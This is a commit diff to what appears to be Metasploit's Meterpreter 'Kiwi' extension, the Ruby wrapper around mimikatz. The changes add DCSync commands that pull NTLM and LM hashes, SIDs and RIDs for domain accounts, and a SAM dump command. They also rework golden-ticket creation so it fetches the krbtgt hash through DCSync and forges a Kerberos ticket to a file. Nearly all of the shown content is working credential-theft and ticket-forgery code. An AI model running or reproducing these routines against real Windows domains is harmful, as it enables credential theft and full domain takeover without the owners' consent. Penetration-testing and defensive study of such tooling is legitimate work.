Continue work on enabling kiwi functionality

bug/bundler_fix
OJ 2016-12-20 18:25:48 +10:00
parent 609c8da772
commit 0bca485858
No known key found for this signature in database
GPG Key ID: D5DC61FB93260597
2 changed files with 189 additions and 203 deletions

View File

@ -22,43 +22,6 @@ module Kiwi
class Kiwi < Extension class Kiwi < Extension
#
# These are constants that identify the type of credential to dump
# from the target machine.
#
PWD_ID_SEK_ALLPASS = 0
PWD_ID_SEK_WDIGEST = 1
PWD_ID_SEK_MSV = 2
PWD_ID_SEK_KERBEROS = 3
PWD_ID_SEK_TSPKG = 4
PWD_ID_SEK_LIVESSP = 5
PWD_ID_SEK_SSP = 6
PWD_ID_SEK_DPAPI = 7
#
# List of names which represent the flags that are part of the
# dumped kerberos tickets. The order of these is important. Each
# of them was pulled from the Mimikatz 2.0 source base.
#
KERBEROS_FLAGS = [
"NAME CANONICALIZE",
"<unknown>",
"OK AS DELEGATE",
"<unknown>",
"HW AUTHENT",
"PRE AUTHENT",
"INITIAL",
"RENEWABLE",
"INVALID",
"POSTDATED",
"MAY POSTDATE",
"PROXY",
"PROXIABLE",
"FORWARDED",
"FORWARDABLE",
"RESERVED"
].map(&:freeze).freeze
# #
# Typical extension initialization routine. # Typical extension initialization routine.
# #
@ -73,6 +36,10 @@ class Kiwi < Extension
'ext' => self 'ext' => self
}, },
]) ])
# by default, we want all output in base64, so fire that up
# first so that everything uses this down the track
exec_cmd('base64')
end end
def exec_cmd(cmd) def exec_cmd(cmd)
@ -80,7 +47,40 @@ class Kiwi < Extension
request.add_tlv(TLV_TYPE_KIWI_CMD, cmd) request.add_tlv(TLV_TYPE_KIWI_CMD, cmd)
response = client.send_request(request) response = client.send_request(request)
output = response.get_tlv_value(TLV_TYPE_KIWI_CMD_RESULT) output = response.get_tlv_value(TLV_TYPE_KIWI_CMD_RESULT)
output[output.index(cmd) + cmd.length + 1, output.length] # remove the banner up to the prompt
output = output[output.index('mimikatz(powershell) #') + 1, output.length]
# return everything past the newline from here
output[output.index("\n") + 1, output.length]
end
def dcsync(domain_user)
exec_cmd("\"lsadump::dcsync /user:#{domain_user}\"")
end
def dcsync_ntlm(domain_user)
result = {
ntlm: '<NOT FOUND>',
lm: '<NOT FOUND>',
sid: '<NOT FOUND>',
rid: '<NOT FOUND>'
}
output = dcsync(domain_user)
return nil unless output.include?('Object RDN')
output.lines.map(&:strip).each do |l|
if l.start_with?('Hash NTLM: ')
result[:ntlm] = l.split(' ')[-1]
elsif l.start_with?('lm - 0:')
result[:lm] = l.split(' ')[-1]
elsif l.start_with?('Object Security ID')
result[:sid] = l.split(' ')[-1]
elsif l.start_with?('Object Relative ID')
result[:rid] = l.split(' ')[-1]
end
end
result
end end
def lsa_dump_secrets def lsa_dump_secrets
@ -257,112 +257,13 @@ class Kiwi < Extension
return nil, nil return nil, nil
end end
#
# Dump the LSA secrets from the target machine.
#
# @return [Hash<Symbol,Object>]
def lsa_dump
request = Packet.create_request('kiwi_lsa_dump_secrets')
response = client.send_request(request)
result = {
:major => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MAJ),
:minor => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MIN),
:compname => response.get_tlv_value(TLV_TYPE_KIWI_LSA_COMPNAME),
:syskey => response.get_tlv_value(TLV_TYPE_KIWI_LSA_SYSKEY),
:nt5key => response.get_tlv_value(TLV_TYPE_KIWI_LSA_NT5KEY),
:nt6keys => [],
:secrets => [],
:samkeys => []
}
response.each(TLV_TYPE_KIWI_LSA_NT6KEY) do |k|
result[:nt6keys] << {
:id => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYID),
:value => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYVALUE)
}
end
response.each(TLV_TYPE_KIWI_LSA_SECRET) do |s|
result[:secrets] << {
:name => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NAME),
:service => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_SERV),
:ntlm => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NTLM),
:current => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR),
:current_raw => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW),
:old => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD),
:old_raw => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW)
}
end
response.each(TLV_TYPE_KIWI_LSA_SAM) do |s|
result[:samkeys] << {
:rid => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_RID),
:user => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_USER),
:ntlm_hash => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_NTLMHASH),
:lm_hash => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_LMHASH)
}
end
result
end
#
# Convert a flag set to a list of string representations for the bit flags
# that are set.
#
# @param flags [Fixnum] Integer bitmask of Kerberos token flags.
#
# @return [Array<String>] Names of all set flags in +flags+. See
# {KERBEROS_FLAGS}
def to_kerberos_flag_list(flags)
flags = flags >> 16
results = []
KERBEROS_FLAGS.each_with_index do |item, idx|
if (flags & (1 << idx)) != 0
results << item
end
end
results
end
# #
# List available kerberos tickets. # List available kerberos tickets.
# #
# @param export [Bool] Set to +true+ to export the content of each ticket # @return [String]
# #
# @return [Array<Hash>] def kerberos_ticket_list
# exec_cmd('kerberos::list')
def kerberos_ticket_list(export)
result = exec_cmd('kerberos::list')
# TODO figure out the structure and parse it
return result
export ||= false
request = Packet.create_request('kiwi_kerberos_ticket_list')
request.add_tlv(TLV_TYPE_KIWI_KERB_EXPORT, export)
response = client.send_request(request)
results = []
response.each(TLV_TYPE_KIWI_KERB_TKT) do |t|
results << {
:enc_type => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_ENCTYPE),
:start => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_START),
:end => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_END),
:max_renew => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_MAXRENEW),
:server => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERNAME),
:server_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERREALM),
:client => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME),
:client_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM),
:flags => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_FLAGS),
:raw => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW)
}
end
results
end end
# #
@ -373,10 +274,8 @@ class Kiwi < Extension
# @return [void] # @return [void]
# #
def kerberos_ticket_use(ticket) def kerberos_ticket_use(ticket)
request = Packet.create_request('kiwi_kerberos_ticket_use') base64_content = Rex::Text.encode(ticket)
request.add_tlv(TLV_TYPE_KIWI_KERB_TKT_RAW, ticket, false, true) true
client.send_request(request)
return true
end end
# #
@ -386,35 +285,61 @@ class Kiwi < Extension
# #
def kerberos_ticket_purge def kerberos_ticket_purge
result = exec_cmd('kerberos::purge').strip result = exec_cmd('kerberos::purge').strip
return 'Ticket(s) purge for current session is OK' == result 'Ticket(s) purge for current session is OK' == result
end end
# #
# Create a new golden kerberos ticket on the target machine and return it. # Create a new golden kerberos ticket on the target machine and return it.
# #
# @param user [String] Name of the user to create the ticket for. # @param opts[:user] [String] Name of the user to create the ticket for.
# @param domain [String] Domain name. # @param opts[:domain_name] [String] Domain name.
# @param sid [String] SID of the domain. # @param opts[:domain_sid] [String] SID of the domain.
# @param tgt [String] The kerberos ticket granting token. # @param opts[:krbtgt_hash] [String] The kerberos ticket granting token.
# @param id [Fixnum] ID of the user to grant the token for. # @param opts[:id] [Fixnum] ID of the user to grant the token for.
# @param group_ids [Array<Fixnum>] IDs of the groups to assign to the user # @param opts[:group_ids] [Array<Fixnum>] IDs of the groups to assign to the user
# #
# @return [String] # @return [Array<Byte>]
# #
def golden_ticket_create(user, domain, sid, tgt, id = 0, group_ids = []) def golden_ticket_create(opts={})
request = Packet.create_request('kiwi_kerberos_golden_ticket_create') cmd = [
request.add_tlv(TLV_TYPE_KIWI_GOLD_USER, user) "\"kerberos::golden /user:",
request.add_tlv(TLV_TYPE_KIWI_GOLD_DOMAIN, domain) opts[:user],
request.add_tlv(TLV_TYPE_KIWI_GOLD_SID, sid) " /domain:",
request.add_tlv(TLV_TYPE_KIWI_GOLD_TGT, tgt) opts[:domain_name],
request.add_tlv(TLV_TYPE_KIWI_GOLD_USERID, id) " /sid:",
opts[:domain_sid],
" /krbtgt:",
opts[:krbtgt_hash],
"\""
].join('')
group_ids.each do |g| if opts[:id]
request.add_tlv(TLV_TYPE_KIWI_GOLD_GROUPID, g) cmd << " /id:" + opts[:id].to_s
end end
response = client.send_request(request) if opts[:group_ids]
return response.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW) cmd << " /groups:" + opts[:group_ids]
end
output = exec_cmd(cmd)
return nil unless output.include?('Base64 of file')
saving = false
content = []
output.lines.each do |l|
if l.start_with?('Base64 of file')
saving = true
elsif saving
if l.start_with?('====')
next if content.length == 0
break
end
content << l
end
end
Rex::Text.decode_base64(content[1, content.length].join(''))
end end
# #

View File

@ -47,8 +47,8 @@ class Console::CommandDispatcher::Kiwi
print_line print_line
if client.arch == ARCH_X86 and client.sys.config.sysinfo['Architecture'] == ARCH_X64 if client.arch == ARCH_X86 and client.sys.config.sysinfo['Architecture'] == ARCH_X64
print_line
print_warning('Loaded x86 Kiwi on an x64 architecture.') print_warning('Loaded x86 Kiwi on an x64 architecture.')
print_line
end end
end end
@ -58,6 +58,8 @@ class Console::CommandDispatcher::Kiwi
def commands def commands
{ {
'kiwi_cmd' => 'Execute an arbitary mimikatz command (unparsed)', 'kiwi_cmd' => 'Execute an arbitary mimikatz command (unparsed)',
'dcsync' => 'Retrieve user account information via DCSync (unparsed)',
'dcsync_ntlm' => 'Retrieve user account NTLM hash, SID and RID via DCSync',
'creds_wdigest' => 'Retrieve WDigest creds (parsed)', 'creds_wdigest' => 'Retrieve WDigest creds (parsed)',
'creds_msv' => 'Retrieve LM/NTLM creds (parsed)', 'creds_msv' => 'Retrieve LM/NTLM creds (parsed)',
#'creds_livessp' => 'Retrieve LiveSSP creds', #'creds_livessp' => 'Retrieve LiveSSP creds',
@ -65,11 +67,12 @@ class Console::CommandDispatcher::Kiwi
'creds_tspkg' => 'Retrieve TsPkg creds (parsed)', 'creds_tspkg' => 'Retrieve TsPkg creds (parsed)',
'creds_kerberos' => 'Retrieve Kerberos creds (parsed)', 'creds_kerberos' => 'Retrieve Kerberos creds (parsed)',
'creds_all' => 'Retrieve all credentials (parsed)', 'creds_all' => 'Retrieve all credentials (parsed)',
#'golden_ticket_create' => 'Create a golden kerberos ticket', 'golden_ticket_create' => 'Create a golden kerberos ticket',
#'kerberos_ticket_use' => 'Use a kerberos ticket', 'kerberos_ticket_use' => 'Use a kerberos ticket',
'kerberos_ticket_purge' => 'Purge any in-use kerberos tickets', 'kerberos_ticket_purge' => 'Purge any in-use kerberos tickets',
'kerberos_ticket_list' => 'List all kerberos tickets', 'kerberos_ticket_list' => 'List all kerberos tickets (unparsed)',
'lsa_dump_secrets' => 'Dump LSA secrets (unparsed)', 'lsa_dump_secrets' => 'Dump LSA secrets (unparsed)',
'lsa_dump_sam' => 'Dump LSA SAM (unparsed)',
'wifi_list' => 'List wifi profiles/creds', 'wifi_list' => 'List wifi profiles/creds',
} }
end end
@ -79,28 +82,62 @@ class Console::CommandDispatcher::Kiwi
print_line(output) print_line(output)
end end
def cmd_dcsync(*args)
return unless check_is_domain_user
print_line(client.kiwi.dcsync(args[0]))
end
def cmd_dcsync_ntlm(*args)
return unless check_is_domain_user
user = args[0]
result = client.kiwi.dcsync_ntlm(user)
if result
print_good("Account : #{user}")
print_good("NTLM Hash : #{result[:ntlm]}")
print_good("LM Hash : #{result[:lm]}")
print_good("SID : #{result[:sid]}")
print_good("RID : #{result[:rid]}")
else
print_error("Failed to retrieve information for #{user}")
end
print_line
end
# #
# Invoke the LSA secret dump on thet target. # Invoke the LSA secret dump on thet target.
# #
def cmd_lsa_dump_secrets(*args) def cmd_lsa_dump_secrets(*args)
check_privs return unless check_is_system
print_status('Dumping LSA secrets') print_status('Dumping LSA secrets')
print_line(client.kiwi.lsa_dump_secrets) print_line(client.kiwi.lsa_dump_secrets)
print_line print_line
end end
#
# Invoke the LSA SAM dump on thet target.
#
def cmd_lsa_dump_sam(*args)
return unless check_is_system
print_status('Dumping SAM')
print_line(client.kiwi.lsa_dump_sam)
print_line
end
# #
# Valid options for the golden ticket creation functionality. # Valid options for the golden ticket creation functionality.
# #
@@golden_ticket_create_opts = Rex::Parser::Arguments.new( @@golden_ticket_create_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help banner' ], '-h' => [ false, 'Help banner' ],
'-u' => [ true, 'Name of the user to create the ticket for' ], '-u' => [ true, 'Name of the user to create the ticket for (required)' ],
'-i' => [ true, 'ID of the user to associate the ticket with' ], '-i' => [ true, 'ID of the user to associate the ticket with' ],
'-g' => [ true, 'Comma-separated list of group identifiers to include (eg: 501,502)' ], '-g' => [ true, 'Comma-separated list of group identifiers to include (eg: 501,502)' ],
'-d' => [ true, 'Name of the target domain (FQDN)' ], '-d' => [ true, 'FQDN of the target domain (required)' ],
'-k' => [ true, 'krbtgt domain user NTLM hash' ], '-k' => [ true, 'krbtgt domain user NTLM hash' ],
'-t' => [ true, 'Local path of the file to store the ticket in' ], '-t' => [ true, 'Local path of the file to store the ticket in (required)' ],
'-s' => [ true, 'SID of the domain' ] '-s' => [ true, 'SID of the domain' ]
) )
@ -118,51 +155,72 @@ class Console::CommandDispatcher::Kiwi
# Invoke the golden kerberos ticket creation functionality on the target. # Invoke the golden kerberos ticket creation functionality on the target.
# #
def cmd_golden_ticket_create(*args) def cmd_golden_ticket_create(*args)
return unless check_is_domain_user
if args.include?("-h") if args.include?("-h")
golden_ticket_create_usage golden_ticket_create_usage
return return
end end
user = nil target_file = nil
domain = nil opts = {
sid = nil user: nil,
tgt = nil domain_name: nil,
target = nil domain_sid: nil,
id = 0 krbtgt_hash: nil,
group_ids = [] user_id: nil,
group_ids: nil
}
@@golden_ticket_create_opts.parse(args) { |opt, idx, val| @@golden_ticket_create_opts.parse(args) { |opt, idx, val|
case opt case opt
when '-u' when '-u'
user = val opts[:user] = val
when '-d' when '-d'
domain = val opts[:domain_name] = val
when '-k' when '-k'
tgt = val opts[:krbtgt_hash] = val
when '-t' when '-t'
target = val target_file = val
when '-i' when '-i'
id = val.to_i opts[:user_id] = val.to_i
when '-g' when '-g'
group_ids = val.split(',').map { |g| g.to_i }.to_a opts[:group_ids] = val
when '-s' when '-s'
sid = val opts[:domain_sid] = val
end end
} }
# all parameters are required # we need the user and domain at the very least
unless user && domain && sid && tgt && target unless opts[:user] && opts[:domain_name] && target_file
golden_ticket_create_usage golden_ticket_create_usage
return return
end end
ticket = client.kiwi.golden_ticket_create(user, domain, sid, tgt, id, group_ids) # is anything else missing?
unless opts[:domain_sid] && opts[:krbtgt_hash]
# let's go discover it
krbtgt_username = opts[:user].split('\\')[0] + '\\krbtgt'
dcsync_result = client.kiwi.dcsync_ntlm(krbtgt_username)
unless opts[:krbtgt_hash]
opts[:krbtgt_hash] = dcsync_result[:ntlm]
print_warning("NTLM hash for krbtgt missing, using #{opts[:krbtgt_hash]} extracted from #{krbtgt_username}")
end
::File.open( target, 'wb' ) do |f| unless opts[:domain_sid]
domain_sid = dcsync_result[:sid].split('-')
opts[:domain_sid] = domain_sid[0, domain_sid.length - 1].join('-')
print_warning("Domain SID missing, using #{opts[:domain_sid]} extracted from SID of #{krbtgt_username}")
end
end
ticket = client.kiwi.golden_ticket_create(opts)
::File.open(target_file, 'wb') do |f|
f.write(ticket) f.write(ticket)
end end
print_good("Golden Kerberos ticket written to #{target}") print_good("Golden Kerberos ticket written to #{target_file}")
end end
# #
@ -208,6 +266,7 @@ class Console::CommandDispatcher::Kiwi
} }
tickets = client.kiwi.kerberos_ticket_list(export) tickets = client.kiwi.kerberos_ticket_list(export)
print_line(tickets)
fields = ['Server', 'Client', 'Start', 'End', 'Max Renew', 'Flags'] fields = ['Server', 'Client', 'Start', 'End', 'Max Renew', 'Flags']
fields << 'Export Path' if export fields << 'Export Path' if export
@ -387,21 +446,23 @@ class Console::CommandDispatcher::Kiwi
protected protected
def check_privs def check_is_domain_user
if system_check if client.sys.config.is_system?
print_good('Running as SYSTEM') print_warning('Running as SYSTEM, function will not work.')
else
print_warning('Not running as SYSTEM, execution may fail')
end
end
def system_check
unless client.sys.config.is_system?
print_warning('Not currently running as SYSTEM')
return false return false
end end
return true true
end
def check_is_system
if client.sys.config.is_system?
print_good('Running as SYSTEM')
return true
end
print_warning('Not running as SYSTEM, execution may fail')
false
end end
# #
@ -420,7 +481,7 @@ protected
return return
end end
check_privs return unless check_is_system
print_status("Retrieving #{provider} credentials") print_status("Retrieving #{provider} credentials")
accounts = method.call accounts = method.call
output = "" output = ""